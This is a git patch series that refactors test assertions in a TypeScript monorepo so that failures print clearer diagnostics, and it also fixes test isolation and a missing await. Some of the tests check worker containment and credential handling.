packages/core/tests/document-parts.test.ts | 12 +++++----- 3 files changed, 22 insertions(+), 17 deletions(-) diff --git a/packages/core/tests/context-assembler.test.ts b/packages/core/tests/context-assembler.test.ts index 0369a9c87a..9b297425ab 100644 --- a/packages/core/tests/context-assembler.test.ts +++ b/packages/core/tests/context-assembler.test.ts @@ -6,7 +6,7 @@ * the unit tests build a small in-memory index by hand. */ -import { afterAll, beforeAll, describe, expect, spyOn, test } from "bun:test"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, spyOn, test } from "bun:test"; import type { Database } from "bun:sqlite"; import { appendFileSync, cpSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "fs"; import { tmpdir } from "os"; @@ -102,9 +102,9 @@ describe("over fixtures/corpus", () => { // The corpus identity has no text before its first "##" heading, and its // first section does not fit in 200 tokens: what leads is the summary. const out = await assembleContext(db, ctx, { query: "navigation", maxTokens: 200, includeCurrentFocus: false }); - expect(out.startsWith( + expect(out).toStartWith( "## Identity\nKing of Ithaca, on Ogygia after ten years returning from Troy\n\n(truncated — brain read me/identity.md)" - )).toBe(true); + ); expect(estimateTokens(out)).toBeLessThanOrEqual(200); }); @@ -245,14 +245,19 @@ describe("over a hand-built index", () => { beforeAll(() => { dir = mkdtempSync(join(tmpdir(), "brain-context-unit-")); temps.push(dir); - db = openDatabase(":memory:"); const taxonomy = buildTaxonomy({}); ctx = { root: dir, dbPath: ":memory:", config: null, configPath: null, modules: [], taxonomy }; }); - afterAll(() => db?.close()); - + // Each test indexes only the documents it adds: a shared index let one + // test's hits answer another's query, so the result depended on order. let nextId = 1; + beforeEach(() => { + db = openDatabase(":memory:"); + nextId = 1; + }); + afterEach(() => db?.close()); + function addDoc(path: string, title: string, content: string, summary: string | null = null) { const id = nextId++; db.run("INSERT INTO documents(id,path,title,type,status,summary,created,updated,content,indexed_at) VALUES (?,?,?,'note','active',?,'2026-01-01','2026-01-01',?,'2026-01-01')", [id, path, title, summary, content]); @@ -459,7 +464,7 @@ describe("over a hand-built index", () => { const report = emptyAssembleReport(); const out = await assembleContext(db, ctx, { query: "", maxTokens: 18, report }); expect(report.focus).toBe("context/current-focus.md"); - expect(out.endsWith("## Current Focus\nF")).toBe(true); + expect(out).toEndWith("## Current Focus\nF"); expect(estimateTokens(out)).toBeLessThanOrEqual(18); }); @@ -589,7 +594,7 @@ describe("over a hand-built index", () => { writeFileSync(join(dir, "context/current-focus.md"), "---\ntype: context\n---\nCurrent priority.\n"); const out = await identity(doc(`Intro.\n\n${LONG}\n\n## History\n\n${LONG}`, "~~~"), 100); expect(blockTypes(out)).toEqual(["h2", "paragraph", "paragraph", "paragraph"]); - expect(out.endsWith(MARKER)).toBe(true); + expect(out).toEndWith(MARKER); }); for (const summary of ["[role]: sailor", "[^profile]: sailor\n indented footnote body"]) { @@ -605,7 +610,7 @@ describe("over a hand-built index", () => { writeFileSync(join(dir, "me/identity.md"), `---\ntype: identity\nsummary: ${JSON.stringify(summary)}\n---\nIntro.\n\n${LONG}\n\n## History\n\n${LONG}\n`); const out = await assembleContext(db, ctx, { query: "", maxTokens: 100, includeCurrentFocus: false }); expect(blockTypes(out)).toEqual(["h2", "paragraph", "paragraph", "paragraph"]); - expect(out.endsWith(MARKER)).toBe(true); + expect(out).toEndWith(MARKER); }); } diff --git a/packages/core/tests/context-scope.test.ts b/packages/core/tests/context-scope.test.ts index 278dc7b814..2a47918396 100644 --- a/packages/core/tests/context-scope.test.ts +++ b/packages/core/tests/context-scope.test.ts @@ -104,7 +104,7 @@ describe("the fixture's premise, unscoped", () => { test("with the registry out of the pool, it still reaches the briefing as a related neighbour", async () => { // The registry's own text never ranks: only the neighbour lane can bring it in. const { report } = await assemble({ query: "spliced practice spars below the cave", includeCurrentFocus: false, includeIdentity: false }); - expect(report.related.includes(REGISTRY) || report.results.includes(REGISTRY)).toBe(true); + expect([...report.related, ...report.results]).toContain(REGISTRY); }); }); @@ -273,7 +273,7 @@ describe("coverage", () => { test("budget exhaustion is explicit", async () => { const { coverage } = await assemble({ maxTokens: 120, scope: { include: ["projects/", FOCUS] } }); expect(coverage.budgetExhausted).toBe(true); - expect(coverage.omitted.some((o) => o.reason === "budget")).toBe(true); + expect(coverage.omitted).toContainEqual(expect.objectContaining({ reason: "budget" })); expect(coverageNote(coverage)).toContain("Budget exhausted"); }); diff --git a/packages/core/tests/document-parts.test.ts b/packages/core/tests/document-parts.test.ts index 5eb37ea0f9..0433ac9c67 100644 --- a/packages/core/tests/document-parts.test.ts +++ b/packages/core/tests/document-parts.test.ts @@ -36,7 +36,7 @@ describe("readDocumentPart", () => { test("a section runs to the next heading of the same or higher level", () => { const out = readDocumentPart(DOC, { section: "Alpha", sectionHint: hint }); - expect(out.startsWith("## Alpha\n")).toBe(true); + expect(out).toStartWith("## Alpha\n"); expect(out).toContain("### Alpha one"); expect(out).toContain("## Not a heading"); expect(out).not.toContain("Beta body."); @@ -45,7 +45,7 @@ describe("readDocumentPart", () => { test("a subsection stops at its parent's next sibling", () => { const out = readDocumentPart(DOC, { section: "alpha ONE", sectionHint: hint }); - expect(out.startsWith("### Alpha one\n")).toBe(true); + expect(out).toStartWith("### Alpha one\n"); expect(out).not.toContain("## Beta"); }); @@ -63,7 +63,7 @@ describe("readDocumentPart", () => { test("over the limit, returns the frontmatter and an outline with token counts", () => { const out = readDocumentPart(DOC, { maxTokens: 10, sectionHint: hint }); - expect(out.startsWith("---\ntitle: Sample\n---\n")).toBe(true); + expect(out).toStartWith("---\ntitle: Sample\n---\n"); expect(out).toContain('read one section with section: ""'); // ~4 characters per token over each section's own lines: Alpha's 82 // characters include its subsection's 59, Beta is 20. @@ -86,7 +86,7 @@ describe("readDocumentPart", () => { test("the outline can exceed max_tokens: it is the threshold, not a cap", () => { const frontmatter = `---\nnotes: "${"n".repeat(400)}"\n---\n`; const out = readDocumentPart(`${frontmatter}\n## A\n\n${"a".repeat(400)}\n`, { maxTokens: 20, sectionHint: hint }); - expect(out.startsWith(frontmatter)).toBe(true); + expect(out).toStartWith(frontmatter); expect(out).toMatch(/^- ## A \(~\d+ tokens\)$/m); expect(out.length / 4).toBeGreaterThan(20); }); @@ -263,7 +263,7 @@ describe("frontmatter and line endings", () => { const doc = "---\n---\n## A\nbody\n\n---\n## B\nb\n"; expect(section(doc, "A")).toBe("## A\nbody\n\n---\n"); const outline = readDocumentPart(doc, { maxTokens: 1, sectionHint: hint }); - expect(outline.startsWith("---\n---\n\n[")).toBe(true); + expect(outline).toStartWith("---\n---\n\n["); expect(outline).not.toContain("body"); }); @@ -288,7 +288,7 @@ describe("frontmatter and line endings", () => { const doc = "\uFEFF---\nnotes: |\n ## A\n---\n## A\nbody\n"; expect(section(doc, "A")).toBe("## A\nbody\n"); const outline = readDocumentPart(doc, { maxTokens: 1, sectionHint: hint }); - expect(outline.startsWith("\uFEFF---\nnotes: |\n ## A\n---\n\n[")).toBe(true); + expect(outline).toStartWith("\uFEFF---\nnotes: |\n ## A\n---\n\n["); expect(outline.match(/^- ## /gm)).toEqual(["- ## "]); }); From f26e3fb7efeca71b4a88f9d1ff098099318a6f80 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:37:39 +0100 Subject: [PATCH 019/252] test(core): the schema-9 read check prints the column names it found Test-Health: th-20261110163736-83b662#7 --- packages/core/tests/chunker-version-readonly.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/chunker-version-readonly.test.ts b/packages/core/tests/chunker-version-readonly.test.ts index 6f7ca42912..39eac8e155 100644 --- a/packages/core/tests/chunker-version-readonly.test.ts +++ b/packages/core/tests/chunker-version-readonly.test.ts @@ -51,5 +51,5 @@ test("search, stats and doctor read a schema-9 index that has not been migrated" const check = new Database(join(root, ".brain-index", "brain.db"), { readonly: true }); const cols = check.prepare("PRAGMA table_info(documents)").all() as { name: string }[]; check.close(); - expect(cols.some((c) => c.name === "chunker_version")).toBe(false); + expect(cols.map((c) => c.name)).not.toContain("chunker_version"); }, 120_000); From b71c6e4fedaf0297fac4e921292683d4d8366baf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:41:10 +0100 Subject: [PATCH 020/252] test(root): test-health batch e3855-root-01 (#3867) * test(root): claude-worker assertions print the runtime's frames and outputs on failure Test-Health: th-20261110163712-7242b8#0 * test(root): containment probe matches the pi runtime from any checkout path; main-turn snapshot check cannot be empty Closes #1630. Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163712-7242b8#1 * test(root): await the unknown-PR refusal in the collisions report test Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163712-7242b8#47 * test(root): build-concurrency compares the subset receipt's packages instead of every() over a possibly empty list Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163712-7242b8#5 * test(root): export link assertions print the PDF annotation URLs on failure Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163712-7242b8#9 * test(root): autonomous-runtime assertions print the real runtime's frames and events on failure Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163712-7242b8#8 --------- Co-authored-by: Claude Opus 5.5 --- tests/autonomous-containment.test.ts | 16 ++++++++++------ tests/autonomous-runtime.test.ts | 8 ++++---- tests/build-concurrency.test.ts | 3 ++- tests/claude-worker.test.ts | 16 ++++++++-------- tests/collisions.test.ts | 2 +- tests/export-links-runtime.test.ts | 14 +++++++------- tests/fixtures/autonomous-containment-probe.ts | 5 ++++- 7 files changed, 36 insertions(+), 28 deletions(-) diff --git a/tests/autonomous-containment.test.ts b/tests/autonomous-containment.test.ts index 8caa0a02a3..9e9c105025 100644 --- a/tests/autonomous-containment.test.ts +++ b/tests/autonomous-containment.test.ts @@ -94,7 +94,7 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous for (const q of receipt.requests) { expect(q.apiKey, "CREDENTIAL_INJECTED: the server's key, never the worker's").toBe(MARKERS.realKey); expect(q.authorization).toBeNull(); - for (const value of Object.values(MARKERS).filter(v => v !== MARKERS.realKey)) expect(q.body.includes(value), `request carries ${value}`).toBe(false); + for (const value of Object.values(MARKERS).filter(v => v !== MARKERS.realKey)) expect(q.body, `request carries ${value}`).not.toContain(value); } // R29: no ambient instructions, skills, hooks, SYSTEM.md or extension; the @@ -102,11 +102,14 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous const turns = receipt.requests.filter((q: any) => q.tools.length > 0); expect(turns.length, "inference worked through the relay").toBeGreaterThan(1); for (const q of turns) { - expect(q.body.includes(MARKERS.ambient), "AMBIENT_NOT_LOADED").toBe(false); + expect(q.body, "AMBIENT_NOT_LOADED").not.toContain(MARKERS.ambient); expect(q.tools).not.toContain("ambient_extension_tool"); - // A Claude subagent carries its own agent prompt, not the main append. - if (!q.body.includes("SUBAGENT-ODYSSEUS")) expect(q.body).toContain("SERVER-INSTRUCTION-SNAPSHOT-ODYSSEUS"); } + // A Claude subagent carries its own agent prompt, not the main append; + // every main-agent turn, and there is at least one, carries the snapshot. + const mainTurns = turns.filter((q: any) => !q.body.includes("SUBAGENT-ODYSSEUS")); + expect(mainTurns.length, "a main-agent turn reached the relay").toBeGreaterThan(0); + for (const q of mainTurns) expect(q.body).toContain("SERVER-INSTRUCTION-SNAPSHOT-ODYSSEUS"); // An out-of-roster call escalates as a durable decision and never runs; // the principal is the server's, not anything the model wrote. @@ -126,8 +129,9 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous expect(receipt.failure?.name).toBe("WorkerHostError"); expect(receipt.requests, "no inference request").toEqual([]); expect(receipt.spawned, "no worker started").toEqual([]); - expect(receipt.frames.some((f: any) => f.failure?.errorClass === "worker_host_unsupported" - && f.message.includes("fixture: network namespaces unavailable")), "the visible refusal names the missing requirement").toBe(true); + expect(receipt.frames, "the visible refusal names the missing requirement").toEqual(expect.arrayContaining([expect.objectContaining({ + failure: expect.objectContaining({ errorClass: "worker_host_unsupported" }), + message: expect.stringContaining("fixture: network namespaces unavailable") })])); passed.push(`${adapter}:refused`); }, TIMEOUT); }); diff --git a/tests/autonomous-runtime.test.ts b/tests/autonomous-runtime.test.ts index dbebb1ad0b..af62622857 100644 --- a/tests/autonomous-runtime.test.ts +++ b/tests/autonomous-runtime.test.ts @@ -28,7 +28,7 @@ for (const backend of ["claude", "pi"]) describe(`${backend} real autonomous run expect(r.calls).toBeGreaterThan(0); expect(r.frames.filter((f: any) => f.type === "result")).toHaveLength(1); expect(r.frames.at(-1).outcome).toBe("success"); - expect(r.frames.some((f: any) => f.type === "session_info")).toBe(false); + expect(r.frames.map((f: any) => f.type)).not.toContain("session_info"); expect(r.transcripts, "no persisted runtime history").toEqual([]); expect(r.sessions).toEqual([]); expect(r.interactiveRows.n).toBe(0); @@ -68,7 +68,7 @@ for (const backend of ["claude", "pi"]) describe(`${backend} real autonomous run expect(r.checkpoint.request.toolName).toBe(backend === "claude" ? "Write" : "write_file"); expect(r.checkpoint.stateMd).toContain("authority boundary"); expect(r.frames.at(-1).outcome).toBe("cancelled"); - expect(r.frames.some((f: any) => f.type === "tool_approval_request")).toBe(false); + expect(r.frames.map((f: any) => f.type)).not.toContain("tool_approval_request"); expect(r.transcripts).toEqual([]); expect(r.rollup.origin).toBe("autonomous"); expect(r.rollup.input_tokens, "inference before escalation is still accounted").toBeGreaterThan(0); @@ -87,7 +87,7 @@ for (const backend of ["claude", "pi"]) describe(`${backend} real autonomous run expect(r.calls).toBeGreaterThan(0); expect(r.revocationElapsedMs, "revocation check aborts before the host deadline").toBeLessThan(3000); expect(r.frames.at(-1).outcome).toBe("cancelled"); - expect(r.events.some((event: any) => event.event_type === "principal_revoked")).toBe(true); + expect(r.events.map((event: any) => event.event_type)).toContain("principal_revoked"); expect(r.rollup.outcome).toBe("cancelled"); expect(r.transcripts).toEqual([]); expect(r.captured).toEqual([]); @@ -105,7 +105,7 @@ for (const backend of ["claude", "pi"]) describe(`${backend} real autonomous run test("unsupported profiles visibly reject without acquiring or persisting a runtime", async () => { const r = await probe(backend, "unsupported"); expect(r.failure.name).toBe("BackendRequestError"); - expect(r.frames.some((frame: any) => frame.type === "error" && frame.code === "AUTONOMOUS_TURN_FAILED")).toBe(true); + expect(r.frames).toEqual(expect.arrayContaining([expect.objectContaining({ type: "error", code: "AUTONOMOUS_TURN_FAILED" })])); expect(r.calls).toBe(0); expect(r.sessions).toEqual([]); expect(r.transcripts).toEqual([]); diff --git a/tests/build-concurrency.test.ts b/tests/build-concurrency.test.ts index 4890de89a9..4612074b39 100644 --- a/tests/build-concurrency.test.ts +++ b/tests/build-concurrency.test.ts @@ -194,7 +194,8 @@ writeFileSync(marker(name,"done"),String(process.exitCode)); expect(completed.length, "EXACTLY_ONE_EXECUTING_BUILD_OWNER_RECEIPT").toBe(1); expect(completed[0].success).toBe(true); expect(completed[0].state).toBe("complete"); expect(completed[0].jobs).toBe(2); expect(completed[0].mode).toBe("subset"); - expect(completed[0].packages.every((pkg: {state: string; children: {code: number}[]}) => pkg.state === "complete" && pkg.children.length === 1 && pkg.children[0].code === 0)).toBe(true); + expect(completed[0].packages.map((pkg: {name: string; state: string; children: {code: number}[]}) => [pkg.name, pkg.state, pkg.children.map(child => child.code)]).sort(), + "EVERY_BUILT_PACKAGE_COMPLETES_WITH_ONE_SUCCESSFUL_COMPILER").toEqual([["a-consumer", "complete", [0]], ["b-peer", "complete", [0]], ["c-peer", "complete", [0]], ["z-dependency", "complete", [0]]]); expect(JSON.stringify(completed), "BUILD_RECEIPT_OMITS_HOST_PATHS").not.toContain(root); } diff --git a/tests/claude-worker.test.ts b/tests/claude-worker.test.ts index a7fcf834ce..905c4f55c8 100644 --- a/tests/claude-worker.test.ts +++ b/tests/claude-worker.test.ts @@ -35,9 +35,9 @@ test("ordinary Claude worker protects policy bytes, applies and indexes permitte expect(r.indexed, JSON.stringify(r.requests).match(/indexError.{0,800}/)?.[0] ?? JSON.stringify(r.appEvents)).toEqual([{ path: "notes/worker-raft.md" }]); expect(r.mask).toEqual([137,80,78,71,13,10,26,10,0,0,0,0]); const outputs = r.requests.flatMap((req: any) => req.results ?? []).map((result: any) => JSON.stringify(result.content)); - expect(outputs.some((out: string) => out.includes("Odysseus scratch succeeds"))).toBe(true); - expect(outputs.some((out: string) => out.includes("read-only"))).toBe(true); - expect(outputs.some((out: string) => out.includes("Odysseus") && out.includes("results"))).toBe(true); + expect(outputs).toEqual(expect.arrayContaining([expect.stringContaining("Odysseus scratch succeeds")])); + expect(outputs).toEqual(expect.arrayContaining([expect.stringContaining("read-only")])); + expect(outputs).toEqual(expect.arrayContaining([expect.stringMatching(/^(?=[\s\S]*Odysseus)(?=[\s\S]*results)/)])); const namespaceOutput = outputs.find((out: string) => /pid:\[\d+\]/.test(out)); expect(namespaceOutput).toBeDefined(); const namespaceIds = namespaceOutput!.match(/pid:\[\d+\]/g); @@ -54,17 +54,17 @@ test("ordinary Claude worker protects policy bytes, applies and indexes permitte }); test("aborting an actual Claude mid-tool removes its detached descendant and history has no phantom Markdown effect", async () => { const r = await probe("abort"); - expect(r.diagnostics.atAbort.native.some((file: { bash: number }) => file.bash > 0), - "CLAUDE_ABORT_HAS_PERSISTED_BASH").toBe(true); + expect(Math.max(0, ...r.diagnostics.atAbort.native.map((file: { bash: number }) => file.bash)), + "CLAUDE_ABORT_HAS_PERSISTED_BASH").toBeGreaterThan(0); expect(r.histories.length, JSON.stringify(r.diagnostics)).toBe(1); expect(r.sessions[0].id).toBe(r.diagnostics.sessionId); expect(r.calls).toBeGreaterThan(0); expect(r.sawDetachedChild, "actual detached sleep process started before cancellation").toBe(true); - expect(r.frames.some((f: any) => f.type === "tool_use_start" && f.toolName === "Bash")).toBe(true); + expect(r.frames).toEqual(expect.arrayContaining([expect.objectContaining({ type: "tool_use_start", toolName: "Bash" })])); expect(r.frames.filter((f: any) => f.type === "result").at(-1).outcome).toBe("cancelled"); expect(r.ordinary).toBeNull(); expect(r.appEvents).toEqual([]); expect(r.policy).toBe("Athena: agent writers never change these policy bytes.\n"); - expect(r.histories[0].flatMap((h: any) => h.toolCalls).some((t: any) => t.name === "Bash")).toBe(true); + expect(r.histories[0].flatMap((h: any) => h.toolCalls).map((t: any) => t.name)).toContain("Bash"); expect(r.survivors, "cancelled PID namespace leaves no detached child").toEqual([]); }); test("an actual Claude runtime gets a large document's base hash inline from brain_read_base, never a spill file (#1624)", async () => { @@ -88,7 +88,7 @@ test("an actual Claude whose runtime state fills its allowance ends the turn as expect(fill.output).toContain("No space left on device"); expect(fill.output).toContain(`tmpfs ${64 * 1024 * 1024}`); // The runtime itself reports success, yet could not save its answer. - expect(r.frames.some((f: any) => f.type === "text_delta" && f.text === "Odysseus completes the worker turn.")).toBe(true); + expect(r.frames).toEqual(expect.arrayContaining([expect.objectContaining({ type: "text_delta", text: "Odysseus completes the worker turn." })])); const results = r.frames.filter((f: any) => f.type === "result"); expect(results).toHaveLength(1); expect(results[0]).toMatchObject({ outcome: "error", isError: true, failure: { errorClass: "worker_state_exceeded" } }); diff --git a/tests/collisions.test.ts b/tests/collisions.test.ts index 034f766eb2..292bec3b4d 100644 --- a/tests/collisions.test.ts +++ b/tests/collisions.test.ts @@ -143,7 +143,7 @@ test("--pr reports only collisions involving that PR", async () => { const all = list(prs.rowers, prs.suitors, prs.chart, prs.sails); const report = await collisions({ root, listPrs: all, pr: 104, fetch: true }); expect(report.collisions.map(c => [c.kind, ...pair(c)])).toEqual([["closure", 101, 104], ["closure", 102, 104]]); - expect(collisions({ root, listPrs: all, pr: 999, fetch: false })).rejects.toThrow("not an open PR"); + await expect(collisions({ root, listPrs: all, pr: 999, fetch: false })).rejects.toThrow("not an open PR"); }); test("--paths reports which open PRs touch or share the closure of an area", async () => { diff --git a/tests/export-links-runtime.test.ts b/tests/export-links-runtime.test.ts index 6a6843a4c0..80989d7021 100644 --- a/tests/export-links-runtime.test.ts +++ b/tests/export-links-runtime.test.ts @@ -193,7 +193,7 @@ describe.skipIf(!chromePath)("shared exports disclose destinations", () => { const links = pdf.annotations.filter((a) => a.subtype === "Link"); expect(links.length).toBeGreaterThan(0); expect(links.map((a) => a.unsafeUrl)).not.toContain("https://odysseus:secret@unsafe.example/"); - expect(links.some((a) => a.url === "https://ithaca-harbour.example/tides")).toBe(true); + expect(links.map((a) => a.url)).toContain("https://ithaca-harbour.example/tides"); expect(pdf.text).toContain("ithaca-harbour.example"); }); }); @@ -244,7 +244,7 @@ describe.skipIf(!chromePath)("alternate markup and final styled output", () => { expect(external).toEqual(["https://shadow-safe.example/", "https://svg.example/tides", "https://xn--bcher-kva.example:8443/reading", "mailto:odysseus@ithaca.example"].sort()); expect(links.some((a) => a.dest !== undefined)).toBe(true); for (const text of ["svg.example", "shadow-safe.example", "odysseus@ithaca.example", "xn--bcher-kva.example:8443", "notes/log.md"]) expect(pdf.text).toContain(text); - expect(requested.some((url) => url.startsWith("data:image/png"))).toBe(true); + expect(requested).toEqual(expect.arrayContaining([expect.stringMatching(/^data:image\/png/)])); expect(requested.filter((url) => !url.startsWith("data:") && url !== "about:blank")).toEqual([]); }); test.each([320, 768])("at %d px, supplied CSS cannot hide or clip long destination text in PNG/PDF", async (width) => { @@ -268,7 +268,7 @@ describe.skipIf(!chromePath)("alternate markup and final styled output", () => { expect(observations[0].hidden).toBe(0); expect(observations[0].clipped).toBe(0); const pdfBytes = await renderer.renderPdf(options); const pdf = await readPdf(pdfBytes); - expect(pdf.annotations.some((a) => a.url === `https://${host}/tides`)).toBe(true); + expect(pdf.annotations.map((a) => a.url)).toContain(`https://${host}/tides`); expect(pdf.text.replace(/\s/g, "")).toContain(host); expect(pdf.text).not.toContain("false.example"); const dir = process.env.BRAIN_LINK_POLICY_ARTIFACTS; @@ -343,7 +343,7 @@ describe.skipIf(!chromePath)("approved print blocks with export protection", () const link = BLOCKS.link; if (link.kind !== "link") throw new Error("Expected the populated link fixture"); expect(link.url.length).toBeGreaterThan(0); - expect(pdf.annotations.some((a) => a.url === link.url)).toBe(true); + expect(pdf.annotations.map((a) => a.url)).toContain(link.url); expect(pdf.text).toContain("ithaca-harbour.example"); }); }); @@ -361,7 +361,7 @@ describe.skipIf(!chromePath)("finished PDF disclosure", () => { const html = buildHtmlDocument({ content: 'ithaca-harbour.example', contentType: "html", linkPolicy: "visible-destinations" }); const unchecked = await readPdf(await renderer.renderPdf({ html, width: 4096 })); expect(unchecked.text).toContain("ithaca-harbour.example"); - expect(unchecked.annotations.some((a) => a.url === "https://ithaca-harbour.example/tides")).toBe(true); + expect(unchecked.annotations.map((a) => a.url)).toContain("https://ithaca-harbour.example/tides"); expect(unchecked.heights.length).toBeGreaterThan(0); expect(Math.min(...unchecked.heights)).toBeGreaterThanOrEqual(8.99); await expectAsyncRejection(renderer.renderPdf({ html, width: 4096, linkPolicy: "visible-destinations" }), "PDF link destination is incomplete"); @@ -371,8 +371,8 @@ describe.skipIf(!chromePath)("finished PDF disclosure", () => { try { const html = buildHtmlDocument({ content: '

https://ithaca.example/

Write

', contentType: "html", linkPolicy: "visible-destinations" }); const pdf = await readPdf(await renderer.renderPdf({ html, linkPolicy: "visible-destinations" })); - expect(pdf.annotations.some((a) => a.url === "https://ithaca.example/")).toBe(true); - expect(pdf.annotations.some((a) => a.unsafeUrl === "mailto:odysseus@ithaca.example,crew@ithaca.example")).toBe(true); + expect(pdf.annotations.map((a) => a.url)).toContain("https://ithaca.example/"); + expect(pdf.annotations.map((a) => a.unsafeUrl)).toContain("mailto:odysseus@ithaca.example,crew@ithaca.example"); expect(pdf.text).toContain("odysseus@ithaca.example,crew@ithaca.example"); expect(pdf.text).not.toContain("Private"); record("final-case-pass", {}); diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 2707fd16cf..385de7d768 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -246,7 +246,10 @@ for pid in [p for p in os.listdir("/proc") if p.isdigit()]: res["processes"] = [] for pid in [p for p in os.listdir("/proc") if p.isdigit()]: try: - cmd = open("/proc/%s/cmdline" % pid, "rb").read().replace(b"\\0", b" ").decode(errors="replace")[:160] + # Each argument keeps only its last two path components, so a long + # checkout or runtime path cannot push the entry's name past the cap. + argv = open("/proc/%s/cmdline" % pid, "rb").read().decode(errors="replace").split("\\0") + cmd = " ".join("/".join(arg.split("/")[-2:]) for arg in argv if arg)[:160] res["processes"].append({"cmd": cmd, "net": os.readlink("/proc/%s/ns/net" % pid), "mnt": os.readlink("/proc/%s/ns/mnt" % pid)}) except OSError: pass res["selfNet"] = os.readlink("/proc/self/ns/net") From e7fbb2e1f12cba7be5c43302ec464477a53b342b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:41:39 +0100 Subject: [PATCH 021/252] test(ui-react): copy-control timeline case renders under its own root The default root's chat store can carry another render file's active session and pi backend, which resolves Bash to the generic renderer (Refs #3720). Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#3 --- .../tests/render/copy-control.test.tsx | 25 ++++++++++++++----- 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/packages/ui-react/tests/render/copy-control.test.tsx b/packages/ui-react/tests/render/copy-control.test.tsx index 40832dbdc9..59cfcd134f 100644 --- a/packages/ui-react/tests/render/copy-control.test.tsx +++ b/packages/ui-react/tests/render/copy-control.test.tsx @@ -156,12 +156,25 @@ describe("ClampedPre", () => { test("inside the timeline, one control copies the output instead of two stacked", () => { const copied = mockClipboard(); const tool: ToolCall = { id: "tool-2", name: "Bash", input: { command: "ls" }, inputJson: '{"command":"ls"}', status: "complete", output: text }; - const view = render( {}} live />); - fireEvent.click(view.getByText("ls")); - const buttons = view.getAllByRole("button", { name: "Copy output" }); - expect(buttons).toHaveLength(1); - fireEvent.click(buttons[0]!); - expect(copied).toEqual([text]); + // Its own root: the default root's chat store may carry another file's + // active session and backend, which would resolve `Bash` to the generic + // renderer (#3720). + const root = createBrainUiRoot({ storage: null }); + const view = render( + + {}} live /> + + ); + try { + fireEvent.click(view.getByText("ls")); + const buttons = view.getAllByRole("button", { name: "Copy output" }); + expect(buttons).toHaveLength(1); + fireEvent.click(buttons[0]!); + expect(copied).toEqual([text]); + } finally { + view.unmount(); + root.dispose(); + } }); }); From 14809b66073badde0950556386ec5ccea3b6579a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:43:17 +0100 Subject: [PATCH 022/252] test(core): Claude runner checks print the headers and tool results they reject Test-Health: th-20261110163736-83b662#8 --- packages/core/tests/claude-runner-default-native.test.ts | 2 +- packages/core/tests/claude-runner-rejected-token.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/core/tests/claude-runner-default-native.test.ts b/packages/core/tests/claude-runner-default-native.test.ts index 921211b548..e983745759 100644 --- a/packages/core/tests/claude-runner-default-native.test.ts +++ b/packages/core/tests/claude-runner-default-native.test.ts @@ -20,7 +20,7 @@ test("actual core default allows Bash Read Write while operator denied Write rem const toolResults=arm.physical.flatMap((c:any)=>c.request.messages??[]).flatMap((m:any)=>Array.isArray(m.content)?m.content:[]).filter((b:any)=>b.type==="tool_result"); expect(toolResults.length).toBeGreaterThan(0); if(arm===allow){const read=toolResults.find((b:any)=>b.tool_use_id==="tool_allow_1");expect(JSON.stringify(read.content)).toContain("Odysseus inspects the raft");expect(read.is_error??false).toBe(false);} - else expect(toolResults.some((b:any)=>b.is_error===true)).toBe(true); + else expect(toolResults).toContainEqual(expect.objectContaining({is_error:true})); } }finally{rmSync(parent,{recursive:true,force:true});} },90000); diff --git a/packages/core/tests/claude-runner-rejected-token.test.ts b/packages/core/tests/claude-runner-rejected-token.test.ts index bf39cc5ffc..05f5b1e47b 100644 --- a/packages/core/tests/claude-runner-rejected-token.test.ts +++ b/packages/core/tests/claude-runner-rejected-token.test.ts @@ -78,6 +78,6 @@ describe("the Claude runner on a rejected token", () => { expect(outcome.ok).toBe(false); expect(seen.length).toBeGreaterThan(0); expect(seen.filter((request) => request.xApiKey !== null)).toEqual([]); - expect(seen.every((request) => request.authorization === `Bearer ${OAUTH}`)).toBe(true); + expect(seen.map((request) => request.authorization)).toEqual(seen.map(() => `Bearer ${OAUTH}`)); }, 60_000); }); From bd638fed6d0385f494b4c026cf66f88608359732 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:43:41 +0100 Subject: [PATCH 023/252] test(ui-kit): session strip and pending follow-ups run colour-blind cases in one theme per width Test-Health: th-20261110180640-b26dac#2 --- .../visual/pending-follow-ups.visual.tsx | 4 +++ .../tests/visual/session-strip.visual.tsx | 29 +++++++++++++------ 2 files changed, 24 insertions(+), 9 deletions(-) diff --git a/packages/ui-kit/tests/visual/pending-follow-ups.visual.tsx b/packages/ui-kit/tests/visual/pending-follow-ups.visual.tsx index 177b139b1a..a443ccf2df 100644 --- a/packages/ui-kit/tests/visual/pending-follow-ups.visual.tsx +++ b/packages/ui-kit/tests/visual/pending-follow-ups.visual.tsx @@ -86,10 +86,14 @@ const workingItems = () => [...host!.querySelectorAll('[data-sessio const popovers = () => [...host!.querySelectorAll("[data-follow-up-text]")]; const WIDTHS = [320, 390, 480, 900, 1279]; +/** Storybook owns light and dark parity (docs/process/theme-parity.md); the + * geometry below never reads a colour, so each width runs in one theme. */ +const oneTheme = (width: number) => ([320, 480, 1279].includes(width) ? "dark" : "light"); const COUNTS = [1, 2, 3, 6]; for (const theme of ["dark", "light"]) { for (const width of WIDTHS) { + if (oneTheme(width) !== theme) continue; for (const keyboardOpen of [false, true]) { test(`the halves never 